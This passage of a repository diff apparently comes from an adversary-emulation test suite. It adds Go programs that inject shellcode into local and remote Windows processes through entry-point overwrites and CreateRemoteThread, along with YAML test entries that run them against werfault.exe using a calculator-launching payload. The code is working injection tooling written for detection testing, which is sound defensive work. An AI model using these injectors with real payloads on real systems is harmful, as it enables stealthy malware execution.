DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
ULONGLONG SizeOfStackReserve;
ULONGLONG SizeOfStackCommit;
ULONGLONG SizeOfHeapReserve;
ULONGLONG SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;
*/
type IMAGE_OPTIONAL_HEADER64 struct {
Magic uint16
MajorLinkerVersion byte
MinorLinkerVersion byte
SizeOfCode uint32
SizeOfInitializedData uint32
SizeOfUninitializedData uint32
AddressOfEntryPoint uint32
BaseOfCode uint32
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
MajorOperatingSystemVersion uint16
MinorOperatingSystemVersion uint16
MajorImageVersion uint16
MinorImageVersion uint16
MajorSubsystemVersion uint16
MinorSubsystemVersion uint16
Win32VersionValue uint32
SizeOfImage uint32
SizeOfHeaders uint32
CheckSum uint32
Subsystem uint16
DllCharacteristics uint16
SizeOfStackReserve uint64
SizeOfStackCommit uint64
SizeOfHeapReserve uint64
SizeOfHeapCommit uint64
LoaderFlags uint32
NumberOfRvaAndSizes uint32
DataDirectory uintptr
}
/*
https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32
typedef struct _IMAGE_OPTIONAL_HEADER {
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
*/
type IMAGE_OPTIONAL_HEADER32 struct {
Magic uint16
MajorLinkerVersion byte
MinorLinkerVersion byte
SizeOfCode uint32
SizeOfInitializedData uint32
SizeOfUninitializedData uint32
AddressOfEntryPoint uint32
BaseOfCode uint32
BaseOfData uint32 // Different from 64 bit header
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
MajorOperatingSystemVersion uint16
MinorOperatingSystemVersion uint16
MajorImageVersion uint16
MinorImageVersion uint16
MajorSubsystemVersion uint16
MinorSubsystemVersion uint16
Win32VersionValue uint32
SizeOfImage uint32
SizeOfHeaders uint32
CheckSum uint32
Subsystem uint16
DllCharacteristics uint16
SizeOfStackReserve uint64
SizeOfStackCommit uint64
SizeOfHeapReserve uint64
SizeOfHeapCommit uint64
LoaderFlags uint32
NumberOfRvaAndSizes uint32
DataDirectory uintptr
}
if *debug {
fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_OPTIONAL_HEADER...")
}
var optHeader64 IMAGE_OPTIONAL_HEADER64
var optHeader32 IMAGE_OPTIONAL_HEADER32
var errReadProcessMemory5 error
var readBytes5 int32
if peHeader.Machine == 34404 { // 0x8664
_, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader64)), unsafe.Sizeof(optHeader64), uintptr(unsafe.Pointer(&readBytes5)))
} else if peHeader.Machine == 332 { // 0x14c
_, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader32)), unsafe.Sizeof(optHeader32), uintptr(unsafe.Pointer(&readBytes5)))
} else {
log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
}
if errReadProcessMemory5 != nil && errReadProcessMemory5.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory5.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_OPTIONAL_HEADER", readBytes5))
}
if *debug {
if peHeader.Machine == 332 { // 0x14c
fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_OPTIONAL_HEADER32: %+v", optHeader32))
fmt.Println(fmt.Sprintf("\t[DEBUG]ImageBase: 0x%x", optHeader32.ImageBase))
fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (relative): 0x%x", optHeader32.AddressOfEntryPoint))
fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (absolute): 0x%x", peb.ImageBaseAddress+uintptr(optHeader32.AddressOfEntryPoint)))
}
if peHeader.Machine == 34404 { // 0x8664
fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_OPTIONAL_HEADER64: %+v", optHeader64))
fmt.Println(fmt.Sprintf("\t[DEBUG]ImageBase: 0x%x", optHeader64.ImageBase))
fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (relative): 0x%x", optHeader64.AddressOfEntryPoint))
fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (absolute): 0x%x", peb.ImageBaseAddress+uintptr(optHeader64.AddressOfEntryPoint)))
}
}
// Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it
var ep uintptr
if peHeader.Machine == 34404 { // 0x8664 x64
ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)
} else if peHeader.Machine == 332 { // 0x14c x86
ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint)
} else {
log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
}
var epBuffer []byte
var shellcodeAddressBuffer []byte
// x86 - 0xb8 = mov eax
// x64 - 0x48 = rex (declare 64bit); 0xb8 = mov eax
if peHeader.Machine == 34404 { // 0x8664 x64
epBuffer = append(epBuffer, byte(0x48))
epBuffer = append(epBuffer, byte(0xb8))
shellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address
binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
} else if peHeader.Machine == 332 { // 0x14c x86
epBuffer = append(epBuffer, byte(0xb8))
shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address
binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
} else {
log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
}
// 0xff ; 0xe0 = jmp [r|e]ax
epBuffer = append(epBuffer, byte(0xff))
epBuffer = append(epBuffer, byte(0xe0))
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory to overwrite AddressofEntryPoint at 0x%x with trampoline: 0x%x...", ep, epBuffer))
}
_, _, errWriteProcessMemory2 := WriteProcessMemory.Call(uintptr(procInfo.Process), ep, uintptr(unsafe.Pointer(&epBuffer[0])), uintptr(len(epBuffer)))
if errWriteProcessMemory2 != nil && errWriteProcessMemory2.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory2.Error()))
}
if *verbose {
fmt.Println("[-]Successfully overwrote the AddressofEntryPoint")
}
// Resume the child process
if *debug {
fmt.Println("[DEBUG]Calling ResumeThread...")
}
_, errResumeThread := windows.ResumeThread(procInfo.Thread)
if errResumeThread != nil {
log.Fatal(fmt.Sprintf("[!]Error calling ResumeThread:\r\n%s", errResumeThread.Error()))
}
if *verbose {
fmt.Println("[+]Process resumed and shellcode executed")
}
// Close the handle to the child process
if *debug {
fmt.Println("[DEBUG]Calling CloseHandle on child process...")
}
errCloseProcHandle := windows.CloseHandle(procInfo.Process)
if errCloseProcHandle != nil {
log.Fatal(fmt.Sprintf("[!]Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error()))
}
// Close the hand to the child process thread
if *debug {
fmt.Println("[DEBUG]Calling CloseHandle on child process thread...")
}
errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
if errCloseThreadHandle != nil {
log.Fatal(fmt.Sprintf("[!]Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error()))
}
// Close the write handle the anonymous STDOUT pipe
errCloseStdOutWrite := windows.CloseHandle(stdOutWrite)
if errCloseStdOutWrite != nil {
log.Fatal(fmt.Sprintf("[!]Error closing STDOUT pipe write handle:\r\n\t%s", errCloseStdOutWrite.Error()))
}
// Close the read handle to the anonymous STDIN pipe
errCloseStdInRead := windows.CloseHandle(stdInRead)
if errCloseStdInRead != nil {
log.Fatal(fmt.Sprintf("[!]Error closing the STDIN pipe read handle:\r\n\t%s", errCloseStdInRead.Error()))
}
// Close the write handle to the anonymous STDERR pipe
errCloseStdErrWrite := windows.CloseHandle(stdErrWrite)
if errCloseStdErrWrite != nil {
log.Fatal(fmt.Sprintf("[!]err closing STDERR pipe write handle:\r\n\t%s", errCloseStdErrWrite.Error()))
}
// Read STDOUT from child process
/*
BOOL ReadFile(
HANDLE hFile,
LPVOID lpBuffer,
DWORD nNumberOfBytesToRead,
LPDWORD lpNumberOfBytesRead,
LPOVERLAPPED lpOverlapped
);
*/
nNumberOfBytesToRead := make([]byte, 1)
var stdOutBuffer []byte
var stdOutDone uint32
var stdOutOverlapped windows.Overlapped
if *debug {
fmt.Println("[DEBUG]Calling ReadFile on STDOUT pipe...")
}
for {
errReadFileStdOut := windows.ReadFile(stdOutRead, nNumberOfBytesToRead, &stdOutDone, &stdOutOverlapped)
if errReadFileStdOut != nil && errReadFileStdOut.Error() != "The pipe has been ended." {
log.Fatal(fmt.Sprintf("[!]Error reading from STDOUT pipe:\r\n\t%s", errReadFileStdOut.Error()))
}
if int(stdOutDone) == 0 {
break
}
for _, b := range nNumberOfBytesToRead {
stdOutBuffer = append(stdOutBuffer, b)
}
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Finished reading %d bytes from STDOUT", len(stdOutBuffer)))
}
// Read STDERR from child process
var stdErrBuffer []byte
var stdErrDone uint32
var stdErrOverlapped windows.Overlapped
if *debug {
fmt.Println("[DEBUG]Calling ReadFile on STDERR pipe...")
}
for {
errReadFileStdErr := windows.ReadFile(stdErrRead, nNumberOfBytesToRead, &stdErrDone, &stdErrOverlapped)
if errReadFileStdErr != nil && errReadFileStdErr.Error() != "The pipe has been ended." {
log.Fatal(fmt.Sprintf("[!]Error reading from STDOUT pipe:\r\n\t%s", errReadFileStdErr.Error()))
}
if int(stdErrDone) == 0 {
break
}
for _, b := range nNumberOfBytesToRead {
stdErrBuffer = append(stdErrBuffer, b)
}
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Finished reading %d bytes from STDERR", len(stdErrBuffer)))
}
// Write the data collected from the childprocess' STDOUT to the parent process' STOUTOUT
if len(stdOutBuffer) > 0 {
fmt.Println(fmt.Sprintf("[+]Child process STDOUT:\r\n%s", string(stdOutBuffer)))
}
if len(stdErrBuffer) > 0 {
fmt.Println(fmt.Sprintf("[!]Child process STDERR:\r\n%s", string(stdErrBuffer)))
}
}
// export GOOS=windows GOARCH=amd64;go build -o CreateProcessWithPipe.exe ./CreateProcessWithPipe.go
// test STDERR go run ./CreateProcessWithPipe.go -verbose -debug -program "C:\Windows\System32\cmd.exe" -args "/c whoami /asdfasdf"
+191
View File
@@ -162,3 +162,194 @@ atomic_tests:
cleanup_command: 'Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force'
name: powershell
elevation_required: true
- name: Process Injection with Go using UuidFromStringA WinAPI
description: |
Uses WinAPI UuidFromStringA to load shellcode to a memory address then executes the shellcode using EnumSystemLocalesA.
With this technique, memory is allocated on the heap and does not use commonly suspicious APIs such as VirtualAlloc, WriteProcessMemory, or CreateThread
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#uuidfromstringa)
- References:
- https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/
- https://twitter.com/_CPResearch_/status/1352310521752662018
- https://blog.securehat.co.uk/process-injection/shellcode-execution-via-enumsystemlocala
supported_platforms:
- windows
executor:
name: powershell
elevation_required: false
command: |
$PathToAtomicsFolder\T1055\bin\x64\UuidFromStringA.exe -debug
cleanup_command: |
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
- name: Process Injection with Go using EtwpCreateEtwThread WinAPI
description: |
Uses EtwpCreateEtwThread function from ntdll.dll to execute shellcode within the application's process.
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
Steps taken with this technique
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Call EtwpCreateEtwThread on shellcode address
5. Call WaitForSingleObject so the program does not end before the shellcode is executed
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#EtwpCreateEtwThread)
- References:
- https://gist.github.com/TheWover/b2b2e427d3a81659942f4e8b9a978dc3
- https://www.geoffchappell.com/studies/windows/win32/ntdll/api/etw/index.htm
supported_platforms:
- windows
executor:
name: powershell
elevation_required: false
command: |
$PathToAtomicsFolder\T1055\bin\x64\EtwpCreateEtwThread.exe -debug
cleanup_command: |
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
- name: Remote Process Injection with Go using RtlCreateUserThread WinAPI
description: |
Executes shellcode in a remote process.
Steps taken with this technique
1. Get a handle to the target process
2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
4. Change the memory page permissions to Execute/Read with VirtualProtectEx
5. Execute the entrypoint of the shellcode in the remote process with RtlCreateUserThread
6. Close the handle to the remote process
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread)
- References:
- https://www.cobaltstrike.com/blog/cobalt-strikes-process-injection-the-details-cobalt-strike
supported_platforms:
- windows
input_arguments:
spawn_process_path:
description: Path of the binary to spawn
type: string
default: 'C:\Windows\System32\werfault.exe'
spawn_process_name:
description: Name of the process spawned
type: string
default: werfault
executor:
name: powershell
elevation_required: false
command: |
$process = Start-Process #{spawn_process_path} -passthru
$PathToAtomicsFolder\T1055\bin\x64\RtlCreateUserThread.exe -pid $process.Id -debug
cleanup_command: |
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue
- name: Remote Process Injection with Go using CreateRemoteThread WinAPI
description: |
Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellocde in a remote process.
This application leverages functions from the golang.org/x/sys/windows package, where feasible, like the windows.OpenProcess().
Steps taken with this technique
1. Get a handle to the target process
2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
4. Change the memory page permissions to Execute/Read with VirtualProtectEx
5. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread
6. Close the handle to the remote process
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethread)
- References:
- https://www.ired.team/offensive-security/code-injection-process-injection/process-injection
supported_platforms:
- windows
input_arguments:
spawn_process_path:
description: Path of the binary to spawn
type: string
default: 'C:\Windows\System32\werfault.exe'
spawn_process_name:
description: Name of the process spawned
type: string
default: werfault
executor:
name: powershell
elevation_required: false
command: |
$process = Start-Process #{spawn_process_path} -passthru
$PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThread.exe -pid $process.Id -debug
cleanup_command: |
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue
- name: Remote Process Injection with Go using CreateRemoteThread WinAPI (Natively)
description: |
Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellcode in a remote process.
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
1. Get a handle to the target process
2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
4. Change the memory page permissions to Execute/Read with VirtualProtectEx
5. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread
6. Close the handle to the remote process
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethreadnative)
supported_platforms:
- windows
input_arguments:
spawn_process_path:
description: Path of the binary to spawn
type: string
default: 'C:\Windows\System32\werfault.exe'
spawn_process_name:
description: Name of the process spawned
type: string
default: werfault
executor:
name: powershell
elevation_required: false
command: |
$process = Start-Process #{spawn_process_path} -passthru
$PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThreadNative.exe -pid $process.Id -debug
cleanup_command: |
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue
- name: Process Injection with Go using CreateThread WinAPI
description: |
This program executes shellcode in the current process using the following steps
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Call CreateThread on shellcode address
5. Call WaitForSingleObject so the program does not end before the shellcode is executed
This program leverages the functions from golang.org/x/sys/windows to call Windows procedures instead of manually loading them
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthread)
supported_platforms:
- windows
executor:
name: powershell
elevation_required: false
command: |
$PathToAtomicsFolder\T1055\bin\x64\CreateThread.exe -debug
cleanup_command: |
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
- name: Process Injection with Go using CreateThread WinAPI (Natively)
description: |
This program executes shellcode in the current process using the following steps
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Call CreateThread on shellcode address
5. Call WaitForSingleObject so the program does not end before the shellcode is executed
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthreadnative)
supported_platforms:
- windows
executor:
name: powershell
elevation_required: false
command: |
$PathToAtomicsFolder\T1055\bin\x64\CreateThreadNative.exe -debug
cleanup_command: |
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+127
View File
@@ -0,0 +1,127 @@
//go:build windows
// +build windows
// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/CreateRemoteThread/main.go
/*
This program executes shellcode in a remote process using the following steps
1. Get a handle to the target process
1. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
2. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
3. Change the memory page permissions to Execute/Read with VirtualProtectEx
4. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread
5. Close the handle to the remote process
This program leverages the functions from golang.org/x/sys/windows WHERE POSSIBLE to call Windows procedures instead of manually loading them
*/
package main
import (
"encoding/hex"
"flag"
"fmt"
"log"
"unsafe"
// Sub Repositories
"golang.org/x/sys/windows"
)
func main() {
verbose := flag.Bool("verbose", false, "Enable verbose output")
debug := flag.Bool("debug", false, "Enable debug output")
// To hardcode the Process Identifier (PID), change 0 to the PID of the target process
pid := flag.Int("pid", 0, "Process ID to inject shellcode into")
flag.Parse()
// Pop Calc Shellcode
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
if errShellcode != nil {
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
}
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Getting a handle to Process ID (PID) %d...", *pid))
}
pHandle, errOpenProcess := windows.OpenProcess(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, false, uint32(*pid))
if errOpenProcess != nil {
log.Fatal(fmt.Sprintf("[!]Error calling OpenProcess:\r\n%s", errOpenProcess.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully got a handle to process %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", *pid))
}
addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
}
if addr == 0 {
log.Fatal("[!]VirtualAllocEx failed and returned 0")
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", *pid))
}
_, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully wrote shellcode to PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", *pid))
}
oldProtect := windows.PAGE_READWRITE
_, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully change memory permissions to PAGE_EXECUTE_READ in PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Call CreateRemoteThreadEx on PID %d...", *pid))
}
_, _, errCreateRemoteThreadEx := CreateRemoteThreadEx.Call(uintptr(pHandle), 0, 0, addr, 0, 0, 0)
if errCreateRemoteThreadEx != nil && errCreateRemoteThreadEx.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling CreateRemoteThreadEx:\r\n%s", errCreateRemoteThreadEx.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[+]Successfully create a remote thread in PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling CloseHandle on PID %d...", *pid))
}
errCloseHandle := windows.CloseHandle(pHandle)
if errCloseHandle != nil {
log.Fatal(fmt.Sprintf("[!]Error calling CloseHandle:\r\n%s", errCloseHandle.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully closed the handle to PID %d", *pid))
}
}
// export GOOS=windows GOARCH=amd64;go build -o CreateRemoteThread.exe ./CreateRemoteThread.go
@@ -0,0 +1,134 @@
//go:build windows
// +build windows
// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/CreateRemoteThreadNative/main.go
/*
This program executes shellcode in a remote process using the following steps
1. Get a handle to the target process
1. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
2. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
3. Change the memory page permissions to Execute/Read with VirtualProtectEx
4. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread
5. Close the handle to the remote process
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
*/
package main
import (
"encoding/hex"
"flag"
"fmt"
"log"
"os"
"unsafe"
// Sub Repositories
"golang.org/x/sys/windows"
)
func main() {
verbose := flag.Bool("verbose", false, "Enable verbose output")
debug := flag.Bool("debug", false, "Enable debug output")
// To hardcode the Process Identifier (PID), change 0 to the PID of the target process
pid := flag.Int("pid", 0, "Process ID to inject shellcode into")
flag.Usage = func() {
flag.PrintDefaults()
os.Exit(0)
}
flag.Parse()
// Pop Calc Shellcode
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
if errShellcode != nil {
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
}
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
OpenProcess := kernel32.NewProc("OpenProcess")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
CloseHandle := kernel32.NewProc("CloseHandle")
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Getting a handle to Process ID (PID) %d...", *pid))
}
pHandle, _, errOpenProcess := OpenProcess.Call(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, 0, uintptr(uint32(*pid)))
if errOpenProcess != nil && errOpenProcess.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling OpenProcess:\r\n%s", errOpenProcess.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully got a handle to process %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", *pid))
}
addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
}
if addr == 0 {
log.Fatal("[!]VirtualAllocEx failed and returned 0")
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", *pid))
}
_, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully wrote shellcode to PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", *pid))
}
oldProtect := windows.PAGE_READWRITE
_, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully change memory permissions to PAGE_EXECUTE_READ in PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Call CreateRemoteThreadEx on PID %d...", *pid))
}
_, _, errCreateRemoteThreadEx := CreateRemoteThreadEx.Call(uintptr(pHandle), 0, 0, addr, 0, 0, 0)
if errCreateRemoteThreadEx != nil && errCreateRemoteThreadEx.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling CreateRemoteThreadEx:\r\n%s", errCreateRemoteThreadEx.Error()))
}
if *verbose {
